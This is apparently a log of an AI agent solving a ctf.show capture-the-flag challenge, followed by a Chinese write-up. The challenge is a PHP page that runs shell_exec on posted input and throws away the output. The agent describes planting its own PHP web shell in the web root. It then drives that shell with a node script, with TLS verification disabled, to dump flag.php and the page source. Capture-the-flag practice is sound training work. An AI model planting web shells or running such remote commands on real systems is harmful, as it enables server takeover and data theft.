env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https=r…console.log(await f(‘cat /var/www/html/index.php’)); })(); ”

Tool input
{
“command”: “$env:NODE_TLS_REJECT_UNAUTHORIZED=0\nnode -e \”\nconst https=require(‘https’);\nconst f=(c)=>{return new Promise((ok)=>{\n const r=https.request({hostname:’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’,path:’/s.php?cmd=’+encodeURIComponent(c),method:’GET’,rejectUnauthorized:false},(res)=>{let b=”;res.on(‘data’,ch=>b+=ch);res.on(‘end’,()=>ok(b));});\n r.end();\n});};\n(async()=>{\n console.log(‘= flag.php content =’);\n console.log(await f(‘cat /var/www/html/flag.php’));\n console.log(‘= hex dump =’);\n console.log(await f(‘xxd /var/www/html/flag.php’));\n console.log(‘= base64 of flag.php =’);\n console.log(await f(‘base64 /var/www/html/flag.php’));\n console.log(‘= index.php source =’);\n console.log(await f(‘cat /var/www/html/index.php’));\n})();\n\”\n”,
“timeout”: 20
}
Tool output
= flag.php content =
(node:28968) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use node --trace-warnings ... to show where the warning was created)





Shell Code Executor


CTFshow Shell Code Executor



    <?php if (_SERVER['REQUEST_METHOD'] === 'POST' && isset(_POST['code'])): ?>
        <div class="form-group">
            <label>Execution Result:</label>
            <div class="result"><?php
                try {

                    ob_start();
                    shell_exec(_POST['code']);output = ob_get_clean();
                    echo "execute success!";
                } catch (Exception e) {
                    echo 'Error: ' . htmlspecialchars(e->getMessage());
                }
            ?></div>
        </div>
    <?php endif; ?>
</div>



Activity
2026年7月29日 12:53

🦸Activity
2026年7月29日 12:53

🦸
拿到了!🎉

Flag: CTF{reverse_shell_use_nc}

分析一下这个挑战的全貌:

后端源码:
···php
ob_start();
shell_exec(_POST[‘code’]);output = ob_get_clean();
echo “execute success!”;
···
用 ob_start() 开了输出缓冲区,shell_exec() 执行命令,然后 ob_get_clean() 直接把输出扔掉,永远只显示 “execute success!”。

解题思路:

发现能执行 shell 命令(sleep 5 确认)
找到 web 目录 /var/www/html/
利用 shell 写入自己的 PHP web shell 到该目录
直接通过 HTTP 访问 web shell 执行命令拿回显
读到 /var/www/html/flag.php 的内容
看起来题目的本意是让你写一个反弹 shell 回来(提示了 nc),但我取了个巧——写了个 web shell 直接读 flag,省去了要监听反弹连接的步骤 😄

超人

发表评论